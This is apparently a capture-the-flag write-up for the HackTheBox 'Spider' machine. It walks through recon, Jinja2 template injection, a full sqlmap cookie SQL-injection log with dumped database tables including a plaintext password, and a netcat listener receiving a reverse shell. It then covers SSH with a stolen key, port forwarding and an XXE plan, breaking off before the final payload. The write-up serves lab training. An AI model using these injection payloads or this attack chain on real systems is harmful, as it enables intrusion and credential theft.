来源 spider · 原记录 2021-06-04 · 18 个代码块 · 7 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux Difficulty: Hard Points: 40 Release: 29 May 2021 IP: 10.10.10.243
Recon
using nmap
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.243 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two ports open 22:ssh 80:http
Port-80
It’s redirect to spider.htb.
Let’s add spider.htb in /etc/hosts file.
1
10.10.10.243 spider.htb
Now let’s go to spider.htb.
I found the username chiv inside black chair template.
Now let’s register ourself.
Login with the password which we use in registration.
Now we are login but we can’t access the admin page let’s check inside user information.
My username is reflected here but i can’t change my username but we can try SSTI(Server-Side Template Injection) inside username field let’s register again with 49 username.
Register with username 49
Now let’s check our payload work or not inside user information page.
1
http://spider.htb/user
It’s worked 😃 we get the output 49.
It’s mean the server running Jinja2 or flask. now let’s try to get config file with .
Register with the username
And if we check the user information page we got the config file which has SECRET_KEY
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:09:40 /2021-06-04/ custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y [10:09:42] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly [10:09:42] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [10:09:42] [INFO] testing connection to the target URL [10:09:44] [INFO] testing if the target URL content is stable you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n [10:09:47] [INFO] target URL content is stable [10:09:47] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic do you want to URL encode cookie values (implementation specific)? [Y/n] n [10:09:49] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic [10:09:51] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable [10:09:52] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*' [10:09:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:10:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [10:10:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [10:10:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [10:10:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [10:10:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [10:10:35] [INFO] testing 'Generic inline queries' [10:10:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [10:10:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [10:10:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [10:10:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [10:11:11] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n for the remaining tests, do you want to include all tests for'MySQL' extending provided level (1) and risk (1) values? [Y/n] [10:11:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:11:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:12:00] [INFO] target URL appears to be UNION injectable with 1 columns [10:12:03] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable (custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: --- Parameter: Cookie #1* ((custom) HEADER) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: session=' AND (SELECT 1456 FROM (SELECT(SLEEP(5)))zGio) AND 'IMkG'='IMkG
Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: session=' UNION ALL SELECT CONCAT(0x7162717a71,0x477a7a5770686c685a45574950634d4446784e46646d594a4c664f75705a787175564d6c4e72484b,0x716a626271)-- - --- [10:12:11] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.14.0 back-end DBMS: MySQL >= 5.0.12 [10:12:20] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [10:12:20] [INFO] fetching current database [10:12:21] [INFO] fetching tables for database: 'shop' [10:12:22] [INFO] fetching columns for table 'items' in database 'shop' [10:12:24] [INFO] fetching entries for table 'items' in database 'shop' Database: shop Table: items [6 entries] +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ | id | name | price | image_path | description | +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ | 1 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 2 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | | 3 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 4 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | | 5 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 6 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ [10:12:25] [INFO] table 'shop.items' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/items.csv' [10:12:25] [INFO] fetching columns for table 'users' in database 'shop' [10:12:26] [INFO] fetching entries for table 'users' in database 'shop' Database: shop Table: users [4 entries] +----+--------------------------------------+------------+-----------------+ | id | uuid | name | password | +----+--------------------------------------+------------+-----------------+ | 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 | | 2 | 9a13e0f6-ee27-4968-908f-0d9882c1f28a | lucifer11 | lucifer11 | | 3 | dc63b342-e0d0-4503-945b-71a3cf365f8e | {{7*7}} | {{7*7}} | | 4 | 38af247a-100f-4712-81c0-5ac1b95e8a95 | {{config}} | {{config}} | +----+--------------------------------------+------------+-----------------+ [10:12:28] [INFO] table 'shop.users' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/users.csv' [10:12:28] [INFO] fetching columns for table 'support' in database 'shop' [10:12:29] [INFO] fetching entries for table 'support' in database 'shop' [10:12:32] [INFO] fetching number of entries for table 'support' in database 'shop' [10:12:32] [INFO] retrieved: [10:12:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] [10:14:03] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) 0 [10:14:15] [WARNING] table 'support' in database 'shop' appears to be empty Database: shop Table: support [0 entries] +------------+---------+---------+-------------+ | support_id | contact | message | timestamp | +------------+---------+---------+-------------+ +------------+---------+---------+-------------+ [10:14:15] [INFO] table 'shop.support' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/support.csv' [10:14:15] [INFO] fetching columns for table 'messages' in database 'shop' [10:14:16] [INFO] fetching entries for table 'messages' in database 'shop' Database: shop Table: messages [1 entry] +---------+---------+-----------------------------------------------------------------------------------+---------------------+ | post_id | creator | message | timestamp | +---------+---------+-----------------------------------------------------------------------------------+---------------------+ | 1 | 1 | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 | +---------+---------+-----------------------------------------------------------------------------------+---------------------+ [10:14:17] [INFO] table 'shop.messages' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/messages.csv' [10:14:17] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 84 times [10:14:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/spider.htb' [*] ending @ 10:14:17 /2021-06-04/
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.243. Ncat: Connection from 10.10.10.243:43612. bash: cannot set terminal process group (1386): Inappropriate ioctl for device bash: no job control in this shell chiv@spider:/var/www/webapp$ id id uid=1000(chiv) gid=33(www-data) groups=33(www-data) chiv@spider:/var/www/webapp$ whoami whoami chiv chiv@spider:/var/www/webapp$ cd cd chiv@spider:~$ ls ls user.txt chiv@spider:~$ cat user.txt cat user.txt 752a1885aef326b3d705f0b7ca531e4b
And if we go inside /home/chiv/.ssh directory we got the id_rsa key.
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# ssh -i user chiv@10.10.10.243 The authenticity of host '10.10.10.243 (10.10.10.243)' can't be established. ECDSA key fingerprint is SHA256:Z0c/GTs+BeZXyXf2c/kRC1Y+omqtI1wPaEfrz0vvYCM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.243' (ECDSA) to the list of known hosts. Last login: Fri May 21 15:02:03 2021 from 10.10.14.7 chiv@spider:~$ id uid=1000(chiv) gid=1000(chiv) groups=1000(chiv) chiv@spider:~$ whoami chiv chiv@spider:~$ cat user.txt 752a1885aef326b3d705f0b7ca531e4b
Privilege escalation
let’s run linPEAS.
After analyzing the linPEAS output i found a service running on localhost on port 8080.
For access the port 8080 we need to forward the port.
1
ssh -i user -L 9002:localhost:8080 chiv@spider.htb
Now let’s open the firefox and got to localhost:9002
And we got the beta login page.
Let’s sign in with any username.
This is a shopping cart page where no links are working except logout and our username is also reflected.
And if we see the cookies we see a session cookie let’s try to decode this.
And we also see a hidden value in login view page source.
So we can do XXE(XML External Entity Injection)
Link: XXE Cheatsheet – XML External Entity Injection
After that i analize that we need to put our payload inside this hidden version field and the output is show in username field becuase the username field is reflected when we login inside that.
Now after some hit and try i got lfi and i can read inside root directory so let’s get the root id_rsa key.
For that i intercept the req of login in burp and add this payload.